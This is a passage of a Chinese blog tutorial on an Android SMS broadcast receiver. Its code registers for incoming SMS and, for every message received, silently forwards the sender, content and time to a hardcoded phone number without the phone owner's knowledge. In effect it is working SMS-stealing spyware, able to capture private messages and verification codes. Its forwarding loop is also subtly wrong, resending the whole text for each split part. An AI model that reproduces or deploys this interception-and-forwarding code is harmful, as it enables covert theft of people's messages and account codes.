`
阿尔萨斯
  • 浏览: 4194817 次
社区版块
存档分类
最新评论

赵雅智_BroadcastReceiver短信监听

 
阅读更多

AndroidManifest.xml

  1. 注册广播接收者
  2. 添加权限

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android_broadcastreceive"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />
    <!-- 短信权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        
        <!-- SMBbroadcastReceive广播接收器 -->
        <receiver android:name="com.example.android_broadcastreceive.receive.SMBbroadcastReceive">
            <intent-filter >
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>


SMBbroadcastReceive.java

  1. 继承BroadcastReceiver类并且重写onReceive()方法
  2. 获取短信内容
  3. 创建短信管理对象
  4. 获取具体对象
  5. 获取需要的信息

package com.example.android_broadcastreceive.receive;

import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

/**
 * 短信广播接收者
 * 
 * @author zhaoyazhi
 * 
 *         2014-6-16
 */
public class SMBbroadcastReceive extends BroadcastReceiver {
	private static final String TAG = "SMBbroadcastReceive";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG, "接收发过来的广播");
		Bundle bundle = intent.getExtras();
		// 判断这个参数是否为null
		if (bundle != null) {
			// 根据get(pdus)参数获取这个短信内容,发送短信大于70字符(自动拆分)
			Object[] pdus = (Object[]) bundle.get("pdus");

			SmsManager sms = SmsManager.getDefault();
			// 创建短信的管理器对象
			for (int i = 0; i < pdus.length; i++) {
				// 获取具体对象
				Object pdu = pdus[i];
				// 通过短信消息对象的createFromPdu(pdu)转换成短信的消息对象
				SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
				// 获取短信的内容
				String msg = message.getMessageBody();
				// 获取始发人
				String originatingAddress = message.getOriginatingAddress();
				// 时间
				long time = message.getTimestampMillis();
				// 状态
				int status = message.getStatus();

				String text = "发送人:" + originatingAddress + "-------------内容:"
						+ msg + "-------------时间" + time + "-------------读取状态"
						+ status;
				// 转发的时候进行短信分开发送
				List<String> list = sms.divideMessage(text);
				//输出截取的短信内容
				Log.i(TAG, text);
				for (String s : list) {
					//转发短信内容
					sms.sendTextMessage("18931137891", null, text, null, null);
				}

			}
		}
	}
}



分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics